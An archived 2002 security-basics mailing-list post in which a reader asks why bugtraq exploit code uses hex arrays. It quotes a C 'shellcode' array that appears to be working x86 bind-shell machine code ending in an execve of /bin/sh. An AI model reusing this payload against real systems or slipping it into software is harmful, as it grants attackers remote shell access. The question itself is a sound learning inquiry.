What's this C code?

From: Britt A. Green (bugtraq@experimentzero.org)
Date: 07/24/02 

From: "Britt A. Green" <bugtraq@experimentzero.org>
To: <security-basics@securityfocus.com>
Date: Wed, 24 Jul 2002 12:28:43 -0700

I'll occasionally see C code come thru on bugtraq detailing an exploit.
Often it will include several portions of code, like the sample below. Why
does this array use hex? What's the purpose of it? Just curious, I guess....

long shellcode[]=
{
  0x4151c931,0x51514151,0x61b0c031,0x078980cd,
  0x4f88c931,0x0547c604,0x084f8902,0x0647c766,
  0x106a391b,0x5004478d,0x5050078b,0x68b0c031,
  0x016a80cd,0x5050078b,0x6ab0c031,0xc93180cd,
  0x078b5151,0xc0315050,0x80cd1eb0,0xc9310789,
  0x50078b51,0xb0c03150,0x4180cd5a,0x7503f983,
  0x5b23ebef,0xc9311f89,0x89074b88,0x8d51044f,
  0x078b5007,0xc0315050,0x80cd3bb0,0x5151c931,
  0x01b0c031,0xd8e880cd,0x2fffffff,0x2f6e6962,
  0x90416873
}; 

--
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